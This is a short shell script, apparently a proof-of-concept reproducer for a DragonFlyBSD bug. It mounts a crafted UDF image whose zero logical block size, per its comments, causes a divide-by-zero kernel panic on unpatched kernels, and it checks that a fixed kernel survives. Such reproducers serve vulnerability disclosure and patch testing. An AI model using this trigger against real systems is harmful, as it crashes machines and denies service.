#!/bin/sh
# DF-0883 run: configure a vnode device from evil.udf and mount it as UDF.
# On the unpatched kernel this triggers a divide-by-zero (#DE) panic at
# udf_vfsops.c:667 because the LVD declares lb_size=0 and the mount path
# divides packet_len/bsize without validation. On a FIXED kernel, the mount
# is rejected (lb_size validated as power-of-2) — no panic.
#
# Must be run as root on the DragonFlyBSD guest.
set -e
cd "$(dirname "$0")"

echo "[+] loading UDF module (if not loaded)..."
kldload udf 2>/dev/null || true

echo "[+] configuring vnode device..."
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 evil.udf

echo "[+] attempting UDF mount (lb_size=0, packet_len=2048)..."
mount -t udf -o rdonly /dev/vn0 /mnt/udf 2>&1 || echo "[!] mount returned $?"

echo "[+] guest still alive:"
uptime
